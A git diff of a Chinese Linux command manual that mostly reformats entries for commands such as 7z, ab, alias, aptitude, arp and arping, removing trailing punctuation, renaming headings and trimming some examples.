diff --git a/Linux_man_cn/7z.md b/Linux_man_cn/7z.md index f3ebe22..463aa3c 100644 --- a/Linux_man_cn/7z.md +++ b/Linux_man_cn/7z.md @@ -114,7 +114,7 @@ p7zip p7zip-plugins 7z t -r archive.7z *.doc # 测试压缩包中的所有doc文件 # 7z压缩文件,-t7z可以省略,/root/achive.7z表示将压缩文件放到root目录下,-m0=LZMA2 -mx表示以LZMA2算法等级是9,(0-9),-aoa直 -# 接覆盖现有文件,-mmt多线程(30个线程)加速压缩,-y默认允许所有,-pSECRET表示密码是SECRET,-bb3设置输出日志文件等级(0-3), +# 接覆盖现有文件,-mmt多线程(30个线程)加速压缩,-y默认允许所有,-pSECRET表示密码是SECRET,-bb3设置输出日志文件等级(0-3) # -bsp1将命令输出写入到out.log文件 7z a -r -t7z /root/achive.7z /home -m0=LZMA2 -mx=9 -aoa -mmt=30 -y -pSECRET -bb3 -bsp1 > out.log diff --git a/Linux_man_cn/ab.md b/Linux_man_cn/ab.md index c3b95c3..444cf8a 100644 --- a/Linux_man_cn/ab.md +++ b/Linux_man_cn/ab.md @@ -7,64 +7,37 @@ ### 选项 ```markdown --A:指定连接服务器的基本的认证凭据 --c:指定一次向服务器发出请求数 --C:添加cookie --g:将测试结果输出为“gnuolot”文件 --H:为请求追加一个额外的头 --i:使用“head”请求方式 --k:激活HTTP中的“keepAlive”特性 --n:指定测试会话使用的请求数 --p:指定包含数据的文件 --q:不显示进度百分比 --T:使用POST数据时,设置内容类型头 --v:设置详细模式等级 --w:以HTML表格方式打印结果 --x:以表格方式输出时,设置表格的属性 --X:使用指定的代理服务器发送请求 --y:以表格方式输出时,设置表格属性 -``` - -用法: ab [选项] [http[s]://]hostname[:port]/path -选项: - -n requests 执行请求的数量 - -c concurrency 一次进行多少个并发请求 - -t timelimit Seconds to max. to spend on benchmarking - This implies -n 50000 - -s timeout Seconds to max. wait for each response - Default is 30 seconds - -b windowsize Size of TCP send/receive buffer, in bytes - -B address Address to bind to when making outgoing connections - -p postfile File containing data to POST. Remember also to set -T - -u putfile File containing data to PUT. Remember also to set -T - -T content-type Content-type header to use for POST/PUT data, eg. - 'application/x-www-form-urlencoded' - Default is 'text/plain' - -v verbosity How much troubleshooting info to print - -w Print out results in HTML tables - -i Use HEAD instead of GET - -x attributes String to insert as table attributes - -y attributes String to insert as tr attributes - -z attributes String to insert as td or th attributes - -C attribute Add cookie, eg. 'Apache=1234'. (repeatable) - -H attribute Add Arbitrary header line, eg. 'Accept-Encoding: gzip' - Inserted after all normal header lines. (repeatable) - -A attribute Add Basic WWW Authentication, the attributes - are a colon separated username and password. - -P attribute Add Basic Proxy Authentication, the attributes - are a colon separated username and password. - -X proxy:port Proxyserver and port number to use - -V Print version number and exit - -k Use HTTP KeepAlive feature - -d Do not show percentiles served table. - -S Do not show confidence estimators and warnings. - -q Do not show progress when doing more than 150 requests - -g filename Output collected data to gnuplot format file. - -e filename Output CSV file with percentages served - -r Don't exit on socket receive errors. - -h Display usage information (this message) - -Z ciphersuite Specify SSL/TLS cipher suite (See openssl ciphers) - -f protocol Specify SSL/TLS protocol - (SSL3, TLS1, TLS1.1, TLS1.2 or ALL) +-n requests 指定测试会话的请求数量 +-c concurrency 一次进行多少个并发请求 +-t timelimit Seconds to max. to spend on benchmarking,This implies -n 50000 +-s timeout Seconds to max. wait for each response,Default is 30 seconds +-b windowsize Size of TCP send/receive buffer, in bytes +-B address Address to bind to when making outgoing connections +-p postfile File containing data to POST. Remember also to set -T +-u putfile File containing data to PUT. Remember also to set -T +-T content-type 用于POST/PUT数据的Content-type header,例如:'application/x-www-form-urlencoded',默认是:'text/plain' +-v verbosity How much troubleshooting info to print +-w 以HTML表格方式打印结果 +-i Use HEAD instead of GET +-x attributes String to insert as table attributes +-y attributes String to insert as tr attributes +-z attributes String to insert as td or th attributes +-C attribute Add cookie,例如:'Apache=1234'. (repeatable) +-H attribute 为请求添加一个额外的header,例如:'Accept-Encoding: gzip' + Inserted after all normal header lines. (repeatable) +-A attribute 添加基本的WWW身份验证,attribute是用冒号分隔的用户名和密码 +-P attribute 添加基本代理身份验证,attribute是用冒号分隔的用户名和密码 +-X proxy:port Proxyserver and port number to use +-V Print version number and exit +-k 使用HTTP KeepAlive特性 +-d Do not show percentiles served table +-S Do not show confidence estimators and warnings +-q 超过150个请求时不显示进度 +-g filename 将收集的结果输出为gnuplot格式文件 +-e filename Output CSV file with percentages served +-r Don't exit on socket receive errors +-Z ciphersuite Specify SSL/TLS cipher suite (See openssl ciphers) +-f protocol 指定SSL/TLS协议(SSL3, TLS1, TLS1.1, TLS1.2 or ALL) +``` diff --git a/Linux_man_cn/accept.md b/Linux_man_cn/accept.md index b340161..951ff83 100644 --- a/Linux_man_cn/accept.md +++ b/Linux_man_cn/accept.md @@ -5,9 +5,9 @@ accept ## 说明 -**accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务。 +**accept命令** 属于CUPS套件,用于指示打印系统接受发往指定目标打印机的打印任务 -### 语法 +## 选项 ``` accept(选项)(参数) @@ -16,13 +16,13 @@ accept(选项)(参数) ``` --E:当连接到服务器时强制加密; --U:指定连接服务器时使用的用户名; --h:指定连接服务器名和端口号。 +-E:当连接到服务器时强制加密 +-U:指定连接服务器时使用的用户名 +-h:指定连接服务器名和端口号 ``` ### 参数 -目标:指定目标打印机。 +目标:指定目标打印机 diff --git a/Linux_man_cn/alias.md b/Linux_man_cn/alias.md index 896384d..4c19c3d 100644 --- a/Linux_man_cn/alias.md +++ b/Linux_man_cn/alias.md @@ -5,11 +5,11 @@ alias ## 说明 -**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误。 +**alias命令** 用来设置指令的别名。我们可以使用该命令可以将一些较长的命令进行简化。使用alias时,用户必须使用单引号`''`将原来的命令引起来,防止特殊字符导致错误 -alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中。 +alias命令的作用只局限于该次登入的操作。若要每次登入都能够使用这些命令别名,则可将相应的alias命令存放到bash的初始化文件`/etc/bashrc`中 -### 语法 +## 选项 ``` alias(选项)(参数) @@ -18,14 +18,14 @@ alias(选项)(参数) ``` --p:打印已经设置的命令别名。 +-p:打印已经设置的命令别名 ``` ### 参数 -命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’”。 +命令别名设置:定义命令别名,格式为“命令别名=‘实际命令’” -### 实例 +## 实例 **alias 的基本使用方法为:** @@ -33,9 +33,9 @@ alias(选项)(参数) alias 新的命令='原命令 -选项/参数' ``` -例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名。 +例如:`alias l=‘ls -lsh'`将重新定义ls命令,现在只需输入l就可以列目录了。直接输入 alias 命令会列出当前系统中所有已经定义的命令别名 -要删除一个别名,可以使用 unalias 命令,如 unalias l。 +要删除一个别名,可以使用 unalias 命令,如 unalias l **查看系统已经设置的别名:** @@ -56,7 +56,7 @@ alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-ti ``` ### 命令别名永久生效 -直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了。 +直接在shell里设定的命令别名,在终端关闭或者系统重新启动后都会失效,如何才能永久有效呢?办法就是将别名的设置加入~/.bashrc文件,然后重新载入下文件就可以了 ```bash $ vim ~/.bashrc ``` @@ -71,21 +71,21 @@ if [ -f ~/.bash_aliases ]; then fi ``` -这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置。 +这个代码的意思就是加载.bash_aliases文件,CentOS7已经帮我们考虑好了,所以也可以在用户根目录下新建一个文件.bash_aliases存放命令别名设置 ### 小结 -alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况。 +alias这个命令是shell的内建命令,可以根据自己的使用习惯设置一些别名,需要注意的就是和其他命令冲突的情况 #### 一、 范例演示 -在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令。 +在使用和维护Linux系统过程中,我们常常希望根据自己的需要来定义一些命令,那么这样的操作是不是很难呢?其实不是,系统已经为我们设置好了相关的命令,下面小编就以CentOS6.4系统为例,为大家演示如何创建自己的命令 #### 二、 自定义命令简介 - CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名。 + CentOS系统下的创建自定义命令其实比较简单,使用的命令就是alias,具体使用的方法就是 alias 自定义命令名=‘命令’。但是需要注意的是,在自定义之前需要查看自定义的命令名是否是系统已经使用的命令名,否则会冲突,另外一个就是定期清理不需要的自定义命令名 #### 三、 演示举例 @@ -93,20 +93,20 @@ alias这个命令是shell的内建命令,可以根据自己的使用习惯设 1.进入目录/root 2.查看目录下文件 3.切换回根目录 -通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作。 +通常这需要三条命令 cd /root;ls;cd / ,如果需要经常使用那么我们可以通过自定义命令的方式用一条命令完成全部操作 ![](alias\01.png) #### 四、 操作过程 - 首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用。 + 首先使用命令 type 自定义命令名 ,查看自定义命令名是否被系统占用。从图中可以看出test命令名已被系统占用,所以不能使用,而loo这个命令名经查询可以使用 ![](alias\02.png) - 使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的。 + 使用命令alias创建自定义命令:alias loo='cd /root;ls;cd /' 。需要注意的是命令的使用格式,分号与分号之间是没有空格的 ![](alias\03.png) - 测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令。 + 测试一下自定义命令,当输入命令 loo 时,发现系统依次完成了 cd /root、ls、cd / 三条命令,说明设置成功。同时也可直接使用命令 alias 查询系统中是否添加了loo这个自定义命令 ![](alias\04.png) - 如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令。 + 如果希望删除这个自定义命令,可以使用命令 unalias 自定义命令名 来完成。执行之后发现,loo命令已不存在,同时自定义命令库中也没有loo命令 ![](alias\05.png) diff --git a/Linux_man_cn/apropos.md b/Linux_man_cn/apropos.md index a6a074f..27a9498 100644 --- a/Linux_man_cn/apropos.md +++ b/Linux_man_cn/apropos.md @@ -4,7 +4,7 @@ **apropos命令** 在一些特定的包含系统命令的简短描述的数据库文件里查找关键字,然后把结果送到标准输出。  -如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令)。 +如果你不知道完成某个特定任务所需要命令的名称,可以使用一个关键字通过Linux apropos实用程序来搜索它。该实用程序可以搜索关键字并且显示所有包含匹配项的man页面的简短描述。另外,使用man实用程序和-k(关键字)选项,可以得到和用Linux apropos实用程序相同的结果(实际上是相同的命令) @@ -22,7 +22,7 @@ -M, --manpath=路径 设置搜索手册页的路径为“路径”,默认使用$MANPATH环境变量 -s, --sections=列表, --section=列表 只查找指定的手册section -返回值:返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容。 +返回值:返回0表示成功,1表示用法、语法或配置文件错误,2表示操作错误,16表示没有找到匹配的内容 ``` ## 实例 diff --git a/Linux_man_cn/apt-key.md b/Linux_man_cn/apt-key.md index c3d333c..298462b 100644 --- a/Linux_man_cn/apt-key.md +++ b/Linux_man_cn/apt-key.md @@ -1,29 +1,22 @@ -apt-key -=== - -管理Debian Linux系统中的软件包密钥 +# **apt-key** ## 说明 -**apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥。 - -### 语法 +**apt-key命令** 用于管理Debian Linux系统中的软件包密钥。每个发布的deb包,都是通过密钥认证的,apt-key用来管理密钥 -``` -apt-key(参数) -``` +## 选项 -### 参数 +```markdown -操作指令:APT密钥操作指令。 +``` -### 实例 +## 实例 -``` -apt-key list #列出已保存在系统中key。 -apt-key add keyname #把下载的key添加到本地trusted数据库中。 -apt-key del keyname #从本地trusted数据库删除key。 -apt-key update #更新本地trusted数据库,删除过期没用的key。 +```bash +apt-key list # 列出已保存在系统中key +apt-key add keyname # 把下载的key添加到本地trusted数据库中 +apt-key del keyname # 从本地trusted数据库删除key +apt-key update # 更新本地trusted数据库,删除过期没用的key ``` diff --git a/Linux_man_cn/apt-sortpkgs.md b/Linux_man_cn/apt-sortpkgs.md index 8e252da..444530a 100644 --- a/Linux_man_cn/apt-sortpkgs.md +++ b/Linux_man_cn/apt-sortpkgs.md @@ -5,9 +5,9 @@ Debian Linux下对软件包索引文件进行排序的工具 ## 说明 -**apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具。 +**apt-sortpkgs命令** 是Debian Linux下对软件包索引文件进行排序的简单工具 -### 语法 +## 选项 ``` apt-sortpkgs(选项)(参数) @@ -16,12 +16,12 @@ apt-sortpkgs(选项)(参数) ``` --s:使用源索引字段排序; --h:显示帮助信息。 +-s:使用源索引字段排序 +-h:显示帮助信息 ``` ### 参数 -文件:指定要排序的包含debian包信息的索引文件。 +文件:指定要排序的包含debian包信息的索引文件 diff --git a/Linux_man_cn/aptitude.md b/Linux_man_cn/aptitude.md index 52de5af..8cf46bf 100644 --- a/Linux_man_cn/aptitude.md +++ b/Linux_man_cn/aptitude.md @@ -2,31 +2,32 @@ ## 说明 -**aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净。它通过文本操作菜单和命令两种方式管理软件包。 - -``` --d:仅下载软件包,不执行安装操作; --P:每一步操作都要求确认; --y:所有问题都回答“yes”; --v:显示附加信息; --u:启动时下载新的软件包列表。 +**aptitude命令** 与apt-get命令一样,都是Debian Linux及其衍生系统中功能极其强大的包管理工具。与apt-get不同的是,aptitude在处理依赖 +问题上更佳一些。举例来说,aptitude在删除一个包时,会同时删除本身所依赖的包。这样,系统中不会残留无用的包,整个系统更为干净 +它通过文本操作菜单和命令两种方式管理软件包 + +## 选项 + +```markdown +-d:仅下载软件包,不执行安装操作 +-P:每一步操作都要求确认 +-y:所有问题都回答“yes” +-v:显示附加信息 +-u:启动时下载新的软件包列表 ``` ## 实例 +```bash +aptitude update # 更新可用的包列表 +aptitude upgrade # 升级可用的包 +aptitude dist-upgrade # 将系统升级到新的发行版 +aptitude install pkgname # 安装包 +aptitude remove pkgname # 删除包 +aptitude purge pkgname # 删除包及其配置文件 +aptitude search string # 搜索包 +aptitude show pkgname # 显示包的详细信息 +aptitude clean # 删除下载的包文件 +aptitude autoclean # 仅删除过期的包文件 ``` -aptitude update #更新可用的包列表 -aptitude upgrade #升级可用的包 -aptitude dist-upgrade #将系统升级到新的发行版 -aptitude install pkgname #安装包 -aptitude remove pkgname #删除包 -aptitude purge pkgname #删除包及其配置文件 -aptitude search string #搜索包 -aptitude show pkgname #显示包的详细信息 -aptitude clean #删除下载的包文件 -aptitude autoclean #仅删除过期的包文件 -``` - -当然,你也可以在文本界面模式中使用 aptitude。 - diff --git a/Linux_man_cn/ar.md b/Linux_man_cn/ar.md index ae735f2..2fde3b9 100644 --- a/Linux_man_cn/ar.md +++ b/Linux_man_cn/ar.md @@ -7,7 +7,7 @@ ar **ar命令** 是一个建立或修改备存文件,或是从备存文件中抽取文件的工具,ar可让您集合许多文件,成为单一的备存文件。在备存文件中,所有成员文件皆保有原来的属性与权限 -### 语法 +## 选项 ``` ab(选项)(参数) @@ -56,7 +56,7 @@ x[o] - 从归档文件中分解文件 ar:支持的目标: elf64-x86-64 elf32-i386 elf32-x86-64 a.out-i386-linux pei-i386 pei-x86-64 elf64-l1om elf64-k1om elf64-little elf64-big elf32-little elf32-big plugin srec symbolsrec verilog tekhex binary ihex -### 实例 +## 实例 打包文件 diff --git a/Linux_man_cn/arch.md b/Linux_man_cn/arch.md index f03c28b..f969074 100644 --- a/Linux_man_cn/arch.md +++ b/Linux_man_cn/arch.md @@ -1,23 +1,14 @@ -arch -=== - -显示当前主机的硬件架构类型 +# **arch** ## 说明 -**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下,arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等 - -### 语法 - -``` -arch -``` +**arch命令** 用于显示当前主机的硬件架构类型。arch命令等同于`命令name -m`在当前的Linux系统下, +arch命令输出结果有:i386、i486、i586、alpha、sparc、arm、m68k、mips、ppc、i686等 -### 实例 +## 实例 -``` -arch -x86_64 +```bash +arch # 64位输出:x86_64 ``` diff --git a/Linux_man_cn/arj.md b/Linux_man_cn/arj.md index aaa9a77..f5bdcf8 100644 --- a/Linux_man_cn/arj.md +++ b/Linux_man_cn/arj.md @@ -5,9 +5,9 @@ arj ## 说明 -**arj命令** 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包。 +**arj命令** 是“.arj”格式的压缩文件的管理器,用于创建和管理“.arj”压缩包 -### 语法 +## 选项 ``` arj(参数) @@ -15,7 +15,7 @@ arj(参数) ### 参数 -* 操作指令:对“.arj”压缩包执行的操作指令; -* 压缩包名称:指定要操作的arj压缩包名称。 +* 操作指令:对“.arj”压缩包执行的操作指令 +* 压缩包名称:指定要操作的arj压缩包名称 diff --git a/Linux_man_cn/arp.md b/Linux_man_cn/arp.md index c09e113..bd75a7b 100644 --- a/Linux_man_cn/arp.md +++ b/Linux_man_cn/arp.md @@ -1,45 +1,29 @@ -arp -=== - -显示和修改IP到MAC转换表 +# **arp** ## 说明 -**arp命令** 用于操作主机的arp缓冲区,它可以显示arp缓冲区中的所有条目、删除指定的条目或者添加静态的ip地址与MAC地址对应关系。 - -### 语法 +**arp命令** 用于操作主机的arp缓冲区,它可以显示arp缓冲区中的所有条目、删除指定的条目或者添加静态的ip地址与MAC地址对应关系 -``` -arp(选项)(参数) -``` +## 选项 - +```markdown +-a display (all) hosts in alternative (BSD) style +-e display (all) hosts in default (Linux) style +-s, --set set a new ARP entry +-d, --delete delete a specified entry +-v, --verbose be verbose +-n, --numeric don't resolve names +-i, --device specify network interface (e.g. eth0) +-D, --use-device read from given device +-A, -p, --protocol specify protocol family +-f, --file read new entries from file or from /etc/ethers ``` --a<主机>:显示arp缓冲区的所有条目; --H<地址类型>:指定arp指令使用的地址类型; --d<主机>:从arp缓冲区中删除指定主机的arp条目; --D:使用指定接口的硬件地址; --e:以Linux的显示风格显示arp缓冲区中的条目; --i<接口>:指定要操作arp缓冲区的网络接口; --s<主机>:设置指定的主机的IP地址与MAC地址的静态映射; --n:以数字方式显示arp缓冲区中的条目; --v:显示详细的arp缓冲区条目,包括缓冲区条目的统计信息; --f<文件>:设置主机的IP地址与MAC地址的静态映射。 -``` - -### 参数 -主机:查询arp缓冲区中指定主机的arp条目。 +## 实例 -### 实例 +```bash ``` -[root@localhost ~]# arp -v -Address HWtype HWaddress Flags Mask Iface -192.168.0.134 ether 00:21:5E:C7:4D:88 C eth1 -115.238.144.129 ether 38:22:D6:2F:B2:F1 C eth0 -Entries: 2 Skipped: 0 Found: 2 -``` diff --git a/Linux_man_cn/arpd.md b/Linux_man_cn/arpd.md index 3a3f2f4..aad8dad 100644 --- a/Linux_man_cn/arpd.md +++ b/Linux_man_cn/arpd.md @@ -5,9 +5,9 @@ arpd ## 说明 -**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播。 +**arpd命令** 是用来收集免费arp信息的一个守护进程,它将收集到的信息保存在磁盘上或者在需要时,提供给内核用户用于避免多余广播 -### 语法 +## 选项 ``` arpd(选项)(参数) @@ -16,19 +16,19 @@ arpd(选项)(参数) ``` --l:将arp数据库输出到标准输出设备显示并退出; --f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似; --b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db”; --a:指定目标被认为死掉前查询的次数; --k:禁止通过内核发送广播查询; --n:设定缓冲失效时间。 +-l:将arp数据库输出到标准输出设备显示并退出 +-f:指定读取和加载arpd数据库的文本文件,文件的格式与“-l”输出信息类似 +-b:指定arpd数据库文件,默认的位置为“/var/lib/arpd.db” +-a:指定目标被认为死掉前查询的次数 +-k:禁止通过内核发送广播查询 +-n:设定缓冲失效时间 ``` ### 参数 -网络接口:指定网络接口。 +网络接口:指定网络接口 -### 实例 +## 实例 启动arpd进程: diff --git a/Linux_man_cn/arping.md b/Linux_man_cn/arping.md index 729f384..8709ea5 100644 --- a/Linux_man_cn/arping.md +++ b/Linux_man_cn/arping.md @@ -1,49 +1,33 @@ -arping -=== - -通过发送ARP协议报文测试网络 +# arping ## 说明 -**arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否是在网络上已经被使用,并能够获取更多设备信息。功能类似于ping。 - -### 语法 +**arping命令** 是用于发送arp请求到一个相邻主机的工具,arping使用arp数据包,通过ping命令检查设备上的硬件地址。能够测试一个ip地址是否 +在网络上已经被使用,并能够获取更多设备信息。功能类似于ping + +## 选项 + +```markdown +-f : quit on first reply +-q : be quiet +-b : keep broadcasting, don't go unicast +-D : duplicate address detection mode +-U : Unsolicited ARP mode, update your neighbours +-A : ARP answer mode, update your neighbours +-V : print version and exit +-c count : how many packets to send +-w timeout : how long to wait for a reply +-I device : which ethernet device to use +-s source : source ip address +destination : ask for what ip address ``` -arping(选项)(参数) -``` - +## 实例 -``` --b:用于发送以太网广播帧(FFFFFFFFFFFF)。arping一开始使用广播地址,在收到响应后就使用unicast地址。 --q:quiet output不显示任何信息; --f:表示在收到第一个响应报文后就退出; --w timeout:设定一个超时时间,单位是秒。如果到了指定时间,arping还没到完全收到响应则退出; --c count:表示发送指定数量的ARP请求数据包后就停止。如果指定了deadline选项,则arping会等待相同数量的arp响应包,直到超时为止; --s source:设定arping发送的arp数据包中的SPA字段的值。如果为空,则按下面处理,如果是DAD模式(冲突地址探测),则设置为0.0.0.0,如果是Unsolicited ARP模式(Gratutious ARP)则设置为目标地址,否则从路由表得出; --I interface:设置ping使用的网络接口。 -``` +```bash +arping www.baidu.com -### 参数 - -目的主机:指定发送ARP报文的目的主机。 - -### 实例 - -``` -[root@localhost ~]# arping www.baidu.com -ARPING 220.181.111.147 from 173.231.43.132 eth0 -Unicast reply from 220.181.111.147 00:D0:03:[bc:48:00] 1.666ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.677ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.691ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.728ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.626ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.292ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 1.429ms -Unicast reply from 220.181.111.147 [00:D0:03:BC:48:00] 2.042ms -Sent 8 probes (1 broadcast(s)) -Received 8 response(s) ``` diff --git a/Linux_man_cn/arptables.md b/Linux_man_cn/arptables.md index e1bd81c..8b1ec9c 100644 --- a/Linux_man_cn/arptables.md +++ b/Linux_man_cn/arptables.md @@ -5,9 +5,9 @@ arptables ## 说明 -**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表。 +**arptables命令** 用来设置、维护和检查Linux内核中的arp包过滤规则表 -### 语法 +## 选项 ``` arptables(选项) @@ -16,19 +16,19 @@ arptables(选项) ``` --A:向规则链中追加规则; --D:从指定的链中删除规则; --l:向规则链中插入一条新的规则; --R:替换指定规则; --P:设置规则链的默认策略; --F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略; --Z:将规则链计数器清零; --L:显示规则链中的规则列表; --X:删除指定的空用户自定义规则链; --h:显示指令帮助信息; --j:指定满足规则的添加时的目标; --s:指定要匹配ARP包的源ip地址; --d:指定要匹配ARP包的目的IP地址。 +-A:向规则链中追加规则 +-D:从指定的链中删除规则 +-l:向规则链中插入一条新的规则 +-R:替换指定规则 +-P:设置规则链的默认策略 +-F:刷新指定规则链,将其中的所有规则链删除,但是不改变规则链的默认策略 +-Z:将规则链计数器清零 +-L:显示规则链中的规则列表 +-X:删除指定的空用户自定义规则链 +-h:显示指令帮助信息 +-j:指定满足规则的添加时的目标 +-s:指定要匹配ARP包的源ip地址 +-d:指定要匹配ARP包的目的IP地址 ``` diff --git a/Linux_man_cn/arpwatch.md b/Linux_man_cn/arpwatch.md index 896e8e8..ced15f0 100644 --- a/Linux_man_cn/arpwatch.md +++ b/Linux_man_cn/arpwatch.md @@ -5,9 +5,9 @@ arpwatch ## 说明 -**arpwatch命令** 用来监听网络上arp的记录。 +**arpwatch命令** 用来监听网络上arp的记录 -### 语法 +## 选项 ``` arpwatch(选项) @@ -16,10 +16,10 @@ arpwatch(选项) ``` --d:启动排错模式; --f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat; --i<接口>:指定监听ARP的接口,预设的接口为eth0; --r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听。 +-d:启动排错模式 +-f<记录文件>:设置存储ARP记录的文件,预设为/var/arpwatch/arp.dat +-i<接口>:指定监听ARP的接口,预设的接口为eth0 +-r<记录文件>:从指定的文件中读取ARP记录,而不是从网络上监听 ``` diff --git a/Linux_man_cn/as.md b/Linux_man_cn/as.md index cb6eede..d5ea962 100644 --- a/Linux_man_cn/as.md +++ b/Linux_man_cn/as.md @@ -5,9 +5,9 @@ as ## 说明 -**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器。 +**as命令** GNU组织推出的一款汇编语言编译器,它支持多种不同类型的处理器 -### 语法 +## 选项 ``` as(选项)(参数) @@ -16,25 +16,25 @@ as(选项)(参数) ``` --ac:忽略失败条件; --ad:忽略调试指令; --ah:包括高级源; --al:包括装配; --am:包括宏扩展; --an:忽略形式处理; --as:包括符号; -=file:设置列出文件的名字; ---alternate:以交互宏模式开始; --f:跳过空白和注释预处理; --g:产生调试信息; --J:对于有符号溢出不显示警告信息; --L:在符号表中保留本地符号; --o:指定要生成的目标文件; ---statistics:打印汇编所用的最大空间和总时间。 +-ac:忽略失败条件 +-ad:忽略调试指令 +-ah:包括高级源 +-al:包括装配 +-am:包括宏扩展 +-an:忽略形式处理 +-as:包括符号 +=file:设置列出文件的名字 +--alternate:以交互宏模式开始 +-f:跳过空白和注释预处理 +-g:产生调试信息 +-J:对于有符号溢出不显示警告信息 +-L:在符号表中保留本地符号 +-o:指定要生成的目标文件 +--statistics:打印汇编所用的最大空间和总时间 ``` ### 参数 -汇编文件:指定要汇编的源文件。 +汇编文件:指定要汇编的源文件 diff --git a/Linux_man_cn/atop.md b/Linux_man_cn/atop.md index cb7e747..167f9f9 100644 --- a/Linux_man_cn/atop.md +++ b/Linux_man_cn/atop.md @@ -73,7 +73,7 @@ samples: number of intervals (minimum 1) - idle字段指示CPU处在完全空闲状态的时间比例 - wait字段指示CPU处在“进程等待磁盘IO导致CPU空闲”状态的时间比例 -CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。 +CPU列各个字段指示值相加结果为N00%,其中N为cpu核数 cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100% diff --git a/Linux_man_cn/atq.md b/Linux_man_cn/atq.md index 7cae119..99549f7 100644 --- a/Linux_man_cn/atq.md +++ b/Linux_man_cn/atq.md @@ -5,9 +5,9 @@ atq ## 说明 -**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表。 +**atq命令** 显示系统中待执行的任务列表,也就是列出当前用户的at任务列表 -### 语法 +## 选项 ``` atq(选项) @@ -16,11 +16,11 @@ atq(选项) ``` --V:显示版本号; --q:查询指定队列的任务。 +-V:显示版本号 +-q:查询指定队列的任务 ``` -### 实例 +## 实例 ``` at now + 10 minutes diff --git a/Linux_man_cn/atrm.md b/Linux_man_cn/atrm.md index d6555cd..de332c4 100644 --- a/Linux_man_cn/atrm.md +++ b/Linux_man_cn/atrm.md @@ -5,9 +5,9 @@ atrm ## 说明 -**atrm命令** 用于删除待执行任务队列中的指定任务。 +**atrm命令** 用于删除待执行任务队列中的指定任务 -### 语法 +## 选项 ``` atrm(选项)(参数) @@ -16,14 +16,14 @@ atrm(选项)(参数) ``` --V:显示版本号。 +-V:显示版本号 ``` ### 参数 -任务号:指定待执行队列中要删除的任务。 +任务号:指定待执行队列中要删除的任务 -### 实例 +## 实例 删除已经排队的任务 diff --git a/Linux_man_cn/awk.md b/Linux_man_cn/awk.md index 3e84e68..11ba2a4 100644 --- a/Linux_man_cn/awk.md +++ b/Linux_man_cn/awk.md @@ -41,9 